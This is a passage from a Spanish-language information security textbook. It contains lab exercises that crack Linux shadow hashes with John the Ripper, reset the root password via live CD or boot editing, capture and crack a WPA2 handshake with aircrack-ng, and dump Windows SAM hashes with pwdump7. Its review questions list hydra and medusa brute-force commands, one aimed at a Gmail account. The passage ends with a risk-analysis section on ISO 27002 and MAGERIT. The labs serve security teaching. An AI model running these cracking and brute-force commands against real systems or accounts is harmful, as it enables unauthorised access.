alfabeto equivalente al teclado de un usuario el esquema actual de claves seguras de primer factor
estara cuestionado

19

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

2.4.4

Laboratorio: Anlisis de la fortaleza de las claves de usuarios en un sistema Linux

Objetivos:
Probar localmente la fortaleza de las claves de los usuarios localizados en el archivo/fichero /etc/shadow
Supuestos:
El software john the ripper ya est instalado en Linux backtrack
/pentest/passwords/jtr o en backtrack 5 en la carpeta /pentest/passwords/john

4.0

sobre

la

carpeta

Un Linux diferente como Fedora o SUSE no trae la herramienta instalada y debe instalarse manualmente,
para ello se debe descargar el software en formato tarbal desde el sitio: http://www.openwall.com/john/ y
dejarlo en el directorio /tmp/john-1.*.tar.gz
Luego se descomprime con la herramienta:
# tar xzvmf /tmp/john-1.*.tar.gz
Se posiciona en el directorio recin creado y se compila e instala con las siguientes herramientas:
#
#
#
#

cd
cd
make
cd

/tmp/john-1.*
src
generic
../run

Paso 1: Evaluar si la versin instalada funciona en forma correcta


Para la versin Back Track 4:
# cd /pentest/passwords/jtr
Para la versin Back Track 5:
# cd /pentest/passwords/john
# ls l
Es importante revisar que exista el diccionario llamado password.lst.
Se deben adicionar las palabras que considere son comunes a los usuarios que se van a evaluar, por ejemplo
sistemas ser muy utilizado por la gente tcnica que trabaja en informtica:
Para adicionar palabras al diccionario use el editor mc, vi, nano o el de su gusto personal:
Por ejemplo para editar el archivo/fichero password.lst con la herramienta mc digite:
# mc
Ahora adicione las palabras claves que usted considera pueden usar estas personas de los servidores que
usted auditar, por ejemplo si pertenece al sector militar adicione coronel, capitan, jaque, etc.

Paso 2: Crear usuarios de ejemplo


Se deben crear los siguientes usuarios:
# useradd m acarvaja
# passwd acarvaja
Digite varias veces la clave 123
# useradd m usuario1
# passwd usuario1

20

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Digite varias veces la clave 12345678


# useradd m usuario2
# passwd usuario2
Digite varias veces la clave usuario2
# useradd m usuario3
# passwd usuario3
Digite varias veces la clave usuario3
# useradd m usuario4
# passwd usuario4
Digite varias veces la clave sistemas
# useradd m usuario5
# passwd usuario5
Digite varias veces la clave @*?xxx!

Paso 3: Verifique el archivo/fichero de usuarios y claves


# cp /etc/shadow

passwd.1

Recordemos que no es prudente usar directamente el archivo/fichero en produccin, debemos siempre


trabajar sobre una copia por si borramos accidentalmente el objeto de estudio.

Paso 4: Ejecute la herramienta John para ver el texto en claro de las claves usadas por los usuarios
Limpie las bitcoras de experiencias anteriores:
# rm john.pot

john.log

john.rec

Ejecute la herramienta:
# ./john passwd.1
Al ejecutar el comando anterior aparecer un mensaje diciendo que ha encontrado un nmero de usuarios
para evaluar el algoritmo Standard DES [32/32], o el algoritmo que su Linux est usando como BlowFish o
3DES, CRYPT, adems en este archivo/fichero se muestra por cada usuario una lista de passwords cifrados y
su equivalente en texto en claro.
Los password encontrados quedarn en el archivo john.pot y si se desea continuar la bsqueda entonces se
deber usar John.rec.
Si el sistema contina procesando claves, se podra presionar varias veces la tecla enter y aparecer la
secuencia de la clave que se esta probando en forma aleatoria en ese instante de tiempo.

Paso 5: Evaluacin de resultados, se debe revisar el archivo/fichero John.pot con la herramienta less:
# less john.pot
d/xIxxJYTO292:sistemas
Jt7jCsUUvCWJ.:toor
P5hnpqJUASIzQ:123

Solo aparecen las claves en claro que se pueden descifrar, esto es importante para que el auditor lo incluya
en su informe de auditora de claves de usuarios.

21

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Cuestionamientos

Qu pasara si el password del usuario contiene caracteres especiales como @!*#.?

Suba el servicio ssh:

En backtrack 3.0 el servicio ssh se inicia con la herramienta sshd:

# sh /etc/rc.d/rc.sshd start
En backtrack 4.0 siga los siguientes pasos: # /etc/init.d/ssh start
Pruebe el servicio con la herramienta

# ssh localhost

Si aparece el error conexin rechazada por puerto 22 nos indica que el servicio no puede subir,
para iniciarlo vaya a la carpeta /etc/ssh y digite:

# ssh-keygen t rsa y la tecla enter varias veces


# ssh-keygen t dsa y la tecla enter varias veces
Copie las llaves privadas a la carpeta del servidor ssh:

# cp /root/.ssh/id_rsa
# cp /root/.ssh/id_dsa

/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_dsa_key

Inicie el servicio y pruebe que el usuario puede hacer login localmente por ssh

# ssh acarvaja@localhost

Qu hace la herramienta hydra e ns t 8 l acarvaja f P password.lst -S 127.0.0.1 ssh2?

Qu hace la herramienta hydra e ns t 8 l acarvaja@gmail.com f P password.lst -S


127.0.0.1 pop3?

Qu hace la herramienta hydra e ns t 8 l acarvaja f P password.lst -S 127.0.0.1 ftp?

Qu hace la herramienta medusa e ns u juana.la.loca@gmail.com -f P password.lst -h


www.gmail.com -M http?

Ahora pruebe la fortaleza de las claves de los usuarios windows, para ello siga los siguientes
pasos:

Obtenga
la
utilidad
PWDUMP7
desde
el
siguiente
enlace:
http://passwords.openwall.net/dl/pwdump/Pwdump7.zip y descomprima el contenido en el
directorio C:\windows\system32 (son dos archivos pwdump7.exe y libeay32.dll).

Ubquese en el directorio C:\windows\system32\Config y ejecute el siguiente comando:

PWDUMP7 > SAM.TXT

Ejecute John The Ripper sobre el archivo SAM.TXT para tratar de romper las contraseas.

Fin de Laboratorio

22

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

2.4.5

Laboratorio: Rompiendo la contrasea del usuario administrador en linux

Prerrequisitos:
Se asume que el lector tiene acceso a un servidor Linux donde el disco duro est representado por el
dispositivo /dev/sda, donde /dev/sda1 es la primera particin, /dev/sda2 representa la segunda particin.
Generalmente los discos IDE se representan por /dev/hda pero las versiones recientes de Linux ven
/dev/hda como /dev/sda simulando discos SCSI o SATA.
Las memorias USB se muestran como el dispositivo /dev/sda, donde /dev/sda1 es la primera particin de la
primera USB, /dev/sdb1 representa la segunda USB con su primera particin y /dev/sdc representa una
tercera USB donde no se han identificado particiones.

Pasos a seguir:
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.

Haga boot con un CD de arranque, para este caso acadmico se recomienda el CDROM Bactrack
Tome la opcin de recuperacin si es un Linux comercial, por ejemplo en SUSE y RedHat lo
permiten pero un Linux Live CD o backtrack no tendr acceso a esa opcin
En SUSE o RedHat el sistema le pedir el usuario con el que har el proceso de emergencia, digite
root y presione la tecla enter
En backtrack el usuario root tienen clave toor, es decir root con sus caracteres invertidos
Averige cual es la particin del sistema de archivos root (/), para ello digite en SUSE o baktrack
cfdisk /dev/sda o en Linux RedHat o Fedora fdisk l.
Es ms conocido el comando fdisk l que muestra todas las particiones de todos los discos
existentes
Para el comando fdisk /dev/sda tome la opcin 1 (fdisk permite hacer gestin de particiones de
discos duros) y luego la letra p (print) para imprimir las particiones que contiene el disco duro
Deduzca cual es la particin del sistema de archivos root (/) buscando carpetas con nombres como
grub, bin, etc, var, usr, lib, tmp, etc
Si encuentra una particin de tipo LVM y se est usando backtrack 4.0 la herramienta vgscan puede
que no exista
Verifque que hay acceso a internet para descargar la herramienta lvm
# ifconfig
Si no hay red actvela con el siguiente comando:
# /etc/init.d/networking start
Descargue la herramienta lvm con el comando:
# apt-get install lvm2
Ahora deber crear el grupo de discos con los siguientes comandos:
# vgscan --mknodes
Se debe observar en el comando anterior que son dos guiones antes del parmetro mknodes
# vgchange a y
Se debe observar en el comando anterior un solo guion antes del parmetro a seguido de la letra
y
Si la particin es de tipo LVM ahora obtendr el nombre del nuevo dispositivo, por ejemplo si fuera
system, busque los dispositivos en la carpeta /dev/system/
Observe cuantos volmenes lgicos aparecen, si hay 0 LVM no se debe insistir pues no estn
activados
Si el Linux es un backtrack 3.0 las particiones se montarn automticamente sobre la carpeta /mnt,
por ejemplo /dev/sda1 estar en la carpeta /mnt/sda1
Monte la particin del sistema de archivos root en la carpeta /mnt del cdrom, asi:
# mount /dev/sda1 /mnt/xxx donde xxx es el identificador de la particin que se est evaluando
Indique al LiveCD que el root no es el del CD, en cambio debera ser la particin del disco duro
donde estan los passwords reales de los usuarios, asi:
# chroot /mnt/xxx donde xxx es el identificador de la particin que se est evaluando
# cd /, lo posicionara en el CDROM
# ls l le muestra los archivos del CD para estar seguros que no estamos dentro del CD
Si es correcto cambie el password del usuario roo tasi:
# passwd root
Digite el nuevo password
En algunos Live CD se obtiene un error indicando que el dispositvio /dev/urandom no existe
Cree el dispositivo /dev/urandom con el siguiente comando si este no existe:
# mknod /dev/urandom c 1 8

23

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

36. Si obtuvo el error de la no existencia del dispositivo /dev/urandom vuelva a cambiar el password
segn la herramienta passwd de esta gua
37. Salga a la carpeta principal del usuario root que ahora apunta al directorio /mnt/xxx del CDROM
que a su vez apunta a la particin del disco duro donde est el archivo/fichero shadow con la clave
que deseamos cambiar para el usuario root
38. Vuelva a la posicion raz principal del sistema
39. # cd /
40. Sincronice la RAM contra el disco duro
41. sync
42. Reinicie el sistema con la siguiente herramienta:
43. # reboot
44. Retire el CD/DVD de Linux para que no haga boot desde el CD/DVD
45. Pruebe entrando al sistema con la nueva clave o password

Cuestionamientos

Qu pasara si la carpeta /etc estuviera en una particin independiente del sistema de


archivos root (/)?

Fin de laboratorio

Propuesta de prctica:

En tiempo de boot no inserte el CD de emergencia, en cambio edite la opcin de arranque donde


esta posicionado (aparece resaltado) y presione la letra e de editar, luego busque la lnea kernel y
edite nuevamente presionando la letra e de editar y adicionamos al final de sta la instruccin
init=/bin/bash
Ahora pruebe adicionando al final de la lnea la palabra single, es decir no use init=/bin/bash

Cuestionamientos

Puede cambiar la clave de root con esta nueva estrategia?


Hizo la prueba con la ltima versin de fedora y Ubuntu?

Fin de la prctica.

24

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

2.4.6

Laboratorio: Anlisis de la fortaleza de las claves de una red wireless

Objetivos:

Probar la fortaleza de la clave de un router wireless


Hackear la clave del algoritmo WPA/WPA2
Introducir al lector en la inseguridad de las redes wireless

Supuestos:

El porttil o la estacin de trabajo del usuario ya cuenta con una tarjeta de red wireless denominada
wlan0, adicionalmente cuenta con una tarjeta red local eth0

Se cuenta en el laboratorio con la tarjeta de red wireless USB Alfa Network Modelo AWUS036NH
S/N 1102036NH05948, MAC 00:C0:CA:4A:D0:84 con potencia de 2 wats y chipset ralink

Se cuenta con el DVD o la mquina virtual de linux backtrack 4.0 R2


Paso 1: Haga boot en linux Backtrack y tome la opcin del boot de arranque (Modo caracteres)
Paso 2: Desactive el servicio de red
# /etc/init.d/networking stop
Paso 3: Conecte la tarjeta de red USB Alfa Network
Verfique que no la este usando Windows si la va a utilizar/compartir con una mquina virtual del auditor
pues al activarla en la maquina virtual las conexiones de Windows se perdern.
Paso 4: Liste las tarjetas de red con para verificar si existe la del auditor
# iwconfig
Ahora aparecer en pantalla la siguiente informacin:
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=6 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Notas importantes:

wlan0 es la tarjeta de red usb que usaremos para hacer el hacking


wlan1 si existiera es la tarjeta de red que trae el porttil o estacin de trabajo
eth0 si existiera es la tarjeta de red LAN que trae el porttil

Paso 5: Evale si la tarjeta de red wireless para hacer la auditora est en modo monitor (promiscuo)
# airmon-ng
Observar la siguiente informacin:
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=6 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Observe que inicialmente no est en modo promiscuo.

Paso 6: Verifique que la tarjeta del auditor este en modo monitor/promiscuo


Renombre la herramienta /sbin/dhclient3 as:
# mv /sbin/dhclient3 /sbin/dhclient3.org

25

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Active el modo promiscuo:


# airmon-ng start wlan0
Nota: Si le aparece el siguiente mensaje, Found x processes that could cause trouble. If airodump-ng,
aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!
PID
5983
6155
.
X

Name
dhclient3
dhclient3

Process with PID 6155 (dhclient3) is running on interface wlan0


Interface

Chipset

Driver

wlan0

Ralink RT2870/3070
rt2800usb - [phy0]
(monitor mode enabled on mon0)

Es porque hay procesos dhclient3 sobre la interfe de red tratando de obtener una IP de la red, cancele los
mencionados procesos con la siguiente herramienta y renombre la herramienta dhclient3:
# killall dhclient3
# mv /sbin/dhclient3 /sbin/dhclient3.org
Nota importante: En VMWARE cuando aparece este error se debe desactivar y reactivar la unidad wireless de
tipo USB, Repita los pasos anteriores hasta que no hayan errores de tipo dhclient3
Busque el AP o Punto de acceso wireless que ser atacado, en especial los que usen el cifrado WPA o WPA2
que para este caso academico sera 00:22:B0:B5:2E:E4
# airodump-ng wlan0 -encrypt wpa2
La opcin -encrypt wpa obliga al sniffer a mirar solamente las redes con este tipo de cifrado, wpa2
nicamente este tipo de cifrado, sin esta opcin todas las redes sern mostradas, observe la columna #data
(datos), si hay paquetes en esta columna la probabilidad de capturar trfico es muy alta

26

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Paso 7: Capture trafico del AP o router vctima cuando los usuarios se autentican
# airodump-ng -c 6 --bssid 00:22:B0:B5:2E:E4 -w hacking wlan0
Nota: la opcion -w crea un archivo/fichero con el nombtre que el auditor elija, para este caso se le llam
hacking, generalmente es el nombre de la red que se esta analizando.

Paso 8: En una nueva sesion alt-f2, pida que se reautentiquen los clientes haciendo un broadcast
Nota: Si cuenta con la mac address del cliente use la opcion -c seguida de la mac del cliente
# aireplay-ng -0 5 -a 00:22:B0:B5:2E:E4 wlan0
Pare cuando a mano derecha del airodump aparezca la mac del AP, esto se da cuando el cliente intercambia
la palabra clave con el AP y se mostrara en la herramienta aireplay
Ver la siguiente grfica:

27

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Paso 9: Haciendo Cracking de la clave


Debe moverse el archivo/fichero de captura de trafico de red hecho por el sniffer a la carpeta donde esta el
diccionario de John The Ripper /pentest/passwords/John:
# aircrack-ng hacking*.cap
Observar como se llama la red inalambica o SSID, tambin se ver la direccin mac address o BSSID
# aircrack-ng -w password.lst -b 00:22:B0:B5:2E:E4 hacking*.cap
El archivo/fichero password.lst esta en el cd pero es mejor conseguir un diccionario mas completo.

Si encuentra la clave de la red wireless debe tomar nota del campo "EAPOL HMAC" que para este caso
teorico es: 04 5B D5 3C 36 32 2C FD 50 9F C6 82 55 A3 C9 4B.
Paso 10: Mirando el archivo de la clave con un sniffer
Al abrir el archivo/fichero hacking-01.cap en un editor de tipo sniffer como wireshark y buscar el contenido
del campo "EAPOL HMAC" se deberia observar la clave WAP en hexadecimal:

Es importante observar el protocolo "eapol" y en especial la columna info que nos llama la atencion idicando
que es una clave, WPA Key: 30140100000FAC020100000FAC040100000FAC020000.
Se puede observar en detalle que esta cifrada segun el algoritmo HMAC-SHA1 para MIC y AES-CCMP.
Este seria el contenido en formato hexadecimal separando cada campo de la clave por el simbolo ":",
30:14:01:00:00:0f:ac:02:01:00:00:0f:ac:04:01:00:00:0f:ac:02:00:00

28

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Cuestionamientos

Qu pasara si el password del usuario que grabo en el router access point contiene
caracteres especiales como @!*#.?
Qu hace la herramienta ./john -incremental=All --stdout | aircrack-ng -e hacking -a 2 -w hacking*.cap?
Qu significa la opcion "-a 2" en la herramienta aircrack-ng, es opcional?
Qu significa la opcion "-e hacking" en la herramienta aircrack-ng?
Qu significa la opcion "-w -" en la herramienta aircrack-ng?

Fin de Laboratorio

Videos sobre seguridad informtica que ayudan a entender la seguridad de la informacin:


Video de conceptos generales:

http://www.youtube.com/watch?v=6ihTC8up2eM

Sitio web vulnerable:


http://www.youtube.com/watch?v=xlP76K7_w9Q

Robo de tarjeta de crdito:


http://www.youtube.com/watch?v=3r63sT9cqs4

Varios videos de seguridad;


http://www.eset-la.com/centro-amenazas/videos_educativos.php

Antihacking:
http://www.youtube.com/watch?v=iwwzJQjyRSg

2.4.7

Evaluacin

Cules son las 3 propiedades que hacen de un sistema informtico fiable o de lo contrario inseguro?

Cules son los 4 grupos de ataque que pueden sufrir los componentes hardware, software y los datos?

Defina desde el punto de vista del departamento jurdico o legal que es la seguridad informtica?

Qu activos que se deben proteger en seguridad Informtica?

Qu es el PDCA o PHVA en seguridad Informtica?

Por qu la capacitacin especializada es fundamental en seguridad Informtica?

Por qu los riesgos nunca se pueden eliminar?

Qu se gana al cifrar los canales con mtodos de cifrado o criptogrficos?

Por qu deberia decirse inseguridad informtica en cambio de seguridad informtica?

29

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

2.4.7.






Bibliografa
Colobran Huguet, Miguel. (2002): Administracin de sistemas operativos en Zarza. Barcelona:
Universidad Oberta de Catalunia
Moron Lerma, Esther. (2002). Internet y derecho penal: Hacking y otras conductas ilcitas en la red.
Editorial Aranzadi, S.A.
Villaln Huerta, Antonio. (2002). Seguridad en UNIX y redes. Versin 2.1,
http://www.rediris.es/cert/doc/unixsec/
Schneier Bruce, Beyond Fear. Thinking Sensibly about security in an uncertain world. Copernicus
Books. 2003
http://www.acis.org.co/archivosAcis/Inseguridad.doc, Jeimy Cano, 2004

30

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

3.0

Anlisis de riesgos en seguridad de la informacin

Introduccin
Las estrategias de riesgo reactivas se han denominado humorsticamente "Escuela de gestin del riesgo de
Indiana Jones". En las pelculas, Indiana Jones, cuando se enfrentaba a una dificultad insuperable, siempre
deca "No te preocupes, pensar en algo!", nunca se preocupaba de los problemas hasta que ocurran,
entonces reaccionaba como un hroe.
Una estrategia considerablemente ms inteligente para el control del riesgo es el ser proactivos.
La estrategia proactiva empieza mucho antes de que comiencen los trabajos tcnicos.
Se identifican los riesgos potenciales, se valoran su probabilidad y su impacto y se establece una prioridad
segn su importancia. (Tomado de: http://www.um.es/docencia/barzana/IAGP/Iagp5.html)
Un sistema de gestin debe medir parmetros del sistema para poder mejorarlos, es pertinente en este
momento traer un texto muy importante del Seor H. James Harrington, que dice: "La medicin es el
primer paso para el control y la mejora. Si algo no se puede medir, no se puede entender. Si no se entiende,
no se puede controlar. Si no se puede controlar, no se puede mejorar.
Entonces se deben identificar y medir los riesgos a que estan expuestos los activos de informacin, esto
debe ser parte fundamental de un sistema de gestin de la seguridad de la informacin que gestione y
minimice el impacto de las vulnerabilidades o fallas inherentes de los activos.
La figura 1-13 muestra en forma grfica el ciclo de gestin de riesgos que nunca termina en el sistema de
gestin de la seguridad de la informacin:

Figura 1-12: Ciclo indefinido de la gestin del riesgo.

Agradecimientos:
Se le agradece al Ing. Juan Carlos Reyes, Ing. En seguridad informtica de la organizacin seltika por el
aporte para mejorar este modulo: jcreyes@seltika.com

En colombia la entidad de control Superfinanciera ha emitido la circular externa 041 de 2007, donde se
aprueba la implementacin del sistema de administracin de riesgos operativos.

31

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Esta misma superfinanciera define el riesgo operativo como la posibilidad de incurrir en prdidas por
deficiencias, fallas o inadecuaciones, en el recurso humano, los procesos, la Tecnologa, la infraestructura o
por la ocurrencia de acontecimientos externos que impactan negativamente el patrimonio de la organizacion.
Existen muchas metodologas para hacer anlisis y gestin de riegos, la figura 1-13 muestra una lista muy
corta:

Figura 1-13: Metodologas para el anlisis de riesgos.

3.1

Punto de vista de la norma ISO/IEC 17799:2005/ISO27002:2005

Segn la norma ISO/IEC 17799/27002:2005 la primera fuente para que una organizacin identifique sus
necesidades de seguridad de la informacin es la valoracin de sus riesgos. Sin anlisis de riesgos no se
debe iniciar el sistema de gestin de la seguridad de la informacin.
La forma de abordar esta valoracin es mediante la realizacin de un anlisis de riesgos de los procesos
crticos de la organizacion en forma sistemica y metodolgica.
La norma ISO 27002:2005 no establece una metodologa especifica para realizar el anlisis de riesgos, pero
exige unos puntos bsicos que se deben tener en cuenta:

3.2

Identificacin de activos y asignacin de sus respectivos valores


Identificacin de amenazas a los activos y valoracin de sus probabilidades
Identificacin de vulnerabilidades y valorarlas
Identificacin de los controles que se tengan implementados
Valoracin del riesgo intrinsico y riesgo efectivo

Que es el anlisis y gestin de riesgos

El anlisis de riesgos consiste en una consideracin sistemtica de:

El dao probable que puede causar en el negocio un fallo en la seguridad de la informacin,


teniendo en cuenta las consecuencias potenciales de prdida de confidencialidad, integridad, y
disponibilidad
La probabilidad de impacto a la luz de las amenazas, vulnerabilidades y los controles que ya se
encuentren implementados

Por tanto, un proceso de anlisis de riesgos detallado, implica la identificacin y valoracin de los activos, la
evaluacin de las amenazas, las vulnerabilidades de los activos frente a las amenazas, la estimacin del
impacto y la valoracin de los riesgos.

32

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

La fase siguiente al anlisis de riesgos es la gestin de los riesgos detectados, que soporta la identificacin,
seleccin y adopcin de controles con base a los riesgos identificados y a la reduccin de esos riesgos a un
nivel aceptable definido por la direccin.

Figura 1-14: Gestin del riesgo.


De la figura 1-14 se deduce grficamente que el proceso de anlisis de riesgos puede requerir de muchos
recursos y por lo tanto, necesita una cuidadosa delimitacin del alcance o cobertura as como de mucha
gestin basado en mtricas como base del sistema de gestin de seguridad de la informacin.

3.3

Ventajas del anlisis y gestin de riesgos

La ventaja principal de este proceso es que permite identificar un nivel de seguridad acorde con las
necesidades de seguridad de cada sistema.
Otra ventaja es que la gestin de los cambios con un impacto importante en la seguridad se beneficiar de la
informacin adicional obtenida del proceso.
El documento de anlisis de riesgos se conforma como un documento vivo, sujeto a las posibles variaciones
de gestin de la organizacin, por lo tanto, es susceptible de anlisis de riesgos peridicos que seran motivo
de nuevas versiones.

3.4

Estructura metodolgica del anlisis de riesgos

Los elementos implicados en la seguridad de la informacin comprenden entidades bsicas como son:
activos, amenazas, vulnerabilidades, impactos y riesgos. Las metodologas relacionan entre s esas entidades
bsicas para controlar el riesgo, pero el fundamento de cualquier metodologa es que el riesgo se debe tratar
como minimo con las siguientes etapas: Elimiar, prevenir, proteger o transferir el riesgo. Ver figura 1-14
sobre la gestin del riesgo.

3.4.1

Inventario de activos

Los activos son el recurso del sistema de informacin, necesarios para que la organizacin funcione
correctamente y alcance los objetivos propuestos por la alta direccin.
Los activos deben tener un valor asignado por la organizacin, un dueo, un responsable de la seguridad de
la informacin y deben ser de carcter relevante para el mbito del SGSI.

33

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

3.4.2

Valoracin de activos

La valoracin de los activos es un componente vital del proceso de anlisis de riesgos y no solo tiene en
cuenta el valor a nuevo del activo sino el valor de la informacin que le agrega valor al activo.
El comit de direccin de seguridad de la informacin compuesto por los duenos de cada proceso critico, es
el responsable de la valoracin de los activos de la organizacin.
Por cada activo se debe generar una caracterizacin basado en su estado en materia de seguridad de la
informacin, este se encuentra estimando las caractersticas fundamentales de todo activo:

Confidencialidad: El activo debe ser accedido nicamente por el recurso autorizado, a esta
caracterizacin tambin se le llama autenticacin.

Integridad: El activo debe ser modificado nicamente por el recurso autorizado.

Disponibilidad: El activo debe estar siempre disponible para que los recursos lo puedan acceder o
modificar.

3.4.3

Amenazas

Las amenazas son los eventos que pueden desencadenar un incidente en la organizacin, produciendo daos
materiales o prdidas inmateriales en sus activos.
La consecuencia de la amenaza, si se materializa, es un incidente que modifica el estado de seguridad de los
activos amenazados. Es decir, hace pasar el activo de un estado inicial anterior conocido a otro posterior,
que puede ser no deseable.
Los activos estn expuestos a muchas clases de amenazas, las cuales pueden explotar sus vulnerabilidades.
Los controles de seguridad de la informacin que se implementen se seleccionarn teniendo en cuenta las
vulnerabilidades, no las amenazas.

3.4.4

Vulnerabilidades

La vulnerabilidad de un activo es la posibilidad de ocurrencia de la materializacin de una amenaza sobre


dicho activo. Una vulnerabilidad es una debilidad, agujero, falla o error en la seguridad del sistema de
informacin. En s misma no causa dao alguno, sino que es una condicin o un conjunto de condiciones que
pueden permitir a una amenaza afectar a un activo. Se trata de una propiedad de la relacin entre un activo
y una amenaza, que si no se gestiona adecuadamente permitir a la amenaza materializarse.
Hay dos tipos:

INTRNSICA del activo respecto al tipo de amenaza: que slo depende del propio activo y de la
amenaza.

EFECTIVA del activo: que tiene en cuenta los controles aplicados en cada momento a dicho activo y
se considera como un factor que estima la eficacia global de dichos controles.

3.4.5

Probabilidad

Corresponde a la probabilidad existente de que una amenaza afecte a un determinado activo aprovechando
la vulnerabilidad que ste presente en el activo.

3.4.6

Impacto

Es la consecuencia sobre un activo de la materializacin de una amenaza. En seguros se le conoce como


siniestro.
El impacto mide la diferencia entre el estado de seguridad de un activo antes y despus de la materializacin
sobre l de una amenaza.

3.4.7

Riesgo

34

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Es la posibilidad o probabilidad de que se produzca un impacto sobre algn activo.


El control del riesgo como resultado del anlisis de riesgos, es un proceso complejo que parte de la
determinacin de los activos y las amenazas y prosigue con la estimacin de las vulnerabilidades y los
impactos.

3.5

Relacin entre los elementos implicados en la seguridad

En el siguiente grfico se aprecian las relaciones e interacciones entre cada uno de los elementos, o
entidades, implicados en la seguridad informtica.

Figura 1-15: Relacin entre los elementos implicados en la seguridad de la informacin.


La figura 1-15 muestra que es crtico anotar que el riesgo aumenta o disminuye dependiendo de las
interrelaciones que se dan entre las amenazas, las vulnerabilidades y los controles.

3.6

Analisis GAP

El siguiente diagrama muestra el flujo del proceso de anlisis y gestin de riesgos respecto de la relacin con
el anlisis GAP. El anlisis GAP generalmente se hace antes de empezar el anlisis de riesgos pero no es
mandatorio. Se puede hacer en paralelo y no necesariamente es obligatorio en el anlisis de riesgos.
El anlisis GAP busca y debe encontrar cuales son los controles que faltan en el sistema de seguridad actual
para llegar a la norma de gestin de estudio, por ejemplo se puede hacer un analisi GAP para la norma ISO
27001:2005 y luego de poner los controles sugeridos por el anlisis de riesgos volver a hacer el GAP para
evaluar cuanto hace falta llegar a la norma que se esta estudiando.
Pero el anlisis GAP no es exclusivo de alguna norma, pues se puede aplicar un GAP a cualquier norma antes
de implementarse, en concreto el anlisis GAP nos dice cuanto nos hace falta para cumplir una norma.

35

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Figura 1-16: Anlisis GAP.


En la figura 1-16 se muestran las relaciones y se distinguen las siguientes fases:

Definir el contexto: El comit de Direccin de seguridad de la informacin con base en un anlisis


de riesgos anterior o con base en el actual, aprueba el inicio del estudio que llevar a determinar el
nivel de riesgo actual
Identificacin de riesgos: Esta fase representa el anlisis de riesgos como tal que determina
especficamente por cada activo las vulnerabilidades, amenazas y riesgos
Analizar riesgos de activos: Define el nivel mximo de criticidad o nivel de aceptacin de los
resultados de la fase anterior. El Comit de Direccin determina el valor ms alto de los activos a
proteger que puede soportar la organizacin sin actuar para salvaguardarlos. En caso de que ese
nivel sea asumido sin adoptar ninguna contramedida finaliza el proceso de anlisis. En caso
contrario, pasamos a la siguiente fase.
Evaluar riesgos y generar recomendaciones: Se establecen recomendaciones con el fin de
minimizar los riesgos que superen el mximo nivel de criticidad.
Tratamiento de riesgos: En el caso de que el Comit de Direccin apruebe las medidas a adoptar
se proceder a la fase de tratamiento de riesgos, en caso contrario se efectuar un nuevo
anlisis de riesgos que se adapte a las sugerencias por parte del Comit de Direccin.

Los controles de la norma ISO 27002:2005 son una referencia para el tratamiento de riesgos, pero existen
otras como COBIT o una combinacin de estas.

4.0

Descripcin de la metodologa Magerit para hacer anlisis de riesgos

Existen muchas metodologas para hacer anlisis de riesgos y es de vital importancia volver a recordar que
no importa la metologia que se utilice, lo importante es que se debe sustentar el metodo cientfico con el que
se llega a los resultados.
Una metodologa exitosa muy probada en Europa es la creada por el Consejo Superior de Informtica de
Espaa que trata sobre el Anlisis y Gestin de Riesgos de los sistemas de Informacin denominado
MAGERIT pero en Colombia se ha definido por parte de Icontec (Entidad responsable de los estndares
internacionales) la norma ISO NTC 5254 derivada de la norma Australiana AS NZS 4360.
La primera versin de magerit naci en 1997, actualmente existe la versin II de magerit que se utilizo con
mayor aceptacin en el 2007, el sitio web para descargar una mejor descripcin de eta metodoglogia es
http://www.csi.map.es.

MAGERIT: Indica Metodologa de Anlisis y Gestin de Riesgos de los Sistemas de Informacin y Tecnologia,
el aspecto positivo de esta metodologa es que el resultado se expresa en valores econmicos.
Las decisiones que deban tomarse y que tengan que ser validadas por la direccin estarn fundamentadas y
sern fcilmente defendibles ante la alta gerencia.

36

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

4.1

Objetivos de Magerit

4.2

Concientizar a los responsables de los sistemas de informacin de la existencia de riesgos y de la


necesidad de atajarlos a tiempo
Ofrecer un mtodo sistemtico para analizar tales riesgos
Ayudar a descubrir y planificar las medidas oportunas para mantener los riesgos bajo control
Apoyar la preparacin de la Organizacin para procesos de evaluacin, auditora, certificacin o
acreditacin, segn corresponda en cada caso

Una aproximacin de la implementacin de Magerit

Explicacin:

Tabla Costo de Activos


MA

Muy alto

2.100.000

Alto

Medio

300.000
72.000

Bajo

4.000

De acuerdo a los activos se


les da una categora.

Figura 1-17: Tabulacin de costos de activos.

Tabla Vulnerabilidad de los activos


EF

Extremadamente frecuente

MF

Muy Frecuente

1
0,071

Frecuente

0,016

FN

Frecuencia Normal

0,005

PF

Poco Frecuente

0,003

Clasificacin numerica de la
vulnerabilidad que puede
presentar el activo.

Figura 1-18: Tabulacin de vulnerabilidad de activos.

Tabla Degradacin de los activos (Impacto)


A

Alta

Media

90
50

Baja

10

Clasificacin del nivel de


impacto que puede tener un
activo.

Figura 1-19: Tabulacin de degradacin de activos

Cdigo

Nombre

Valor

90

Imagen Organizacional

2.100.000

51

Bases de datos

72.000

22

Desarrollo

300.000

37

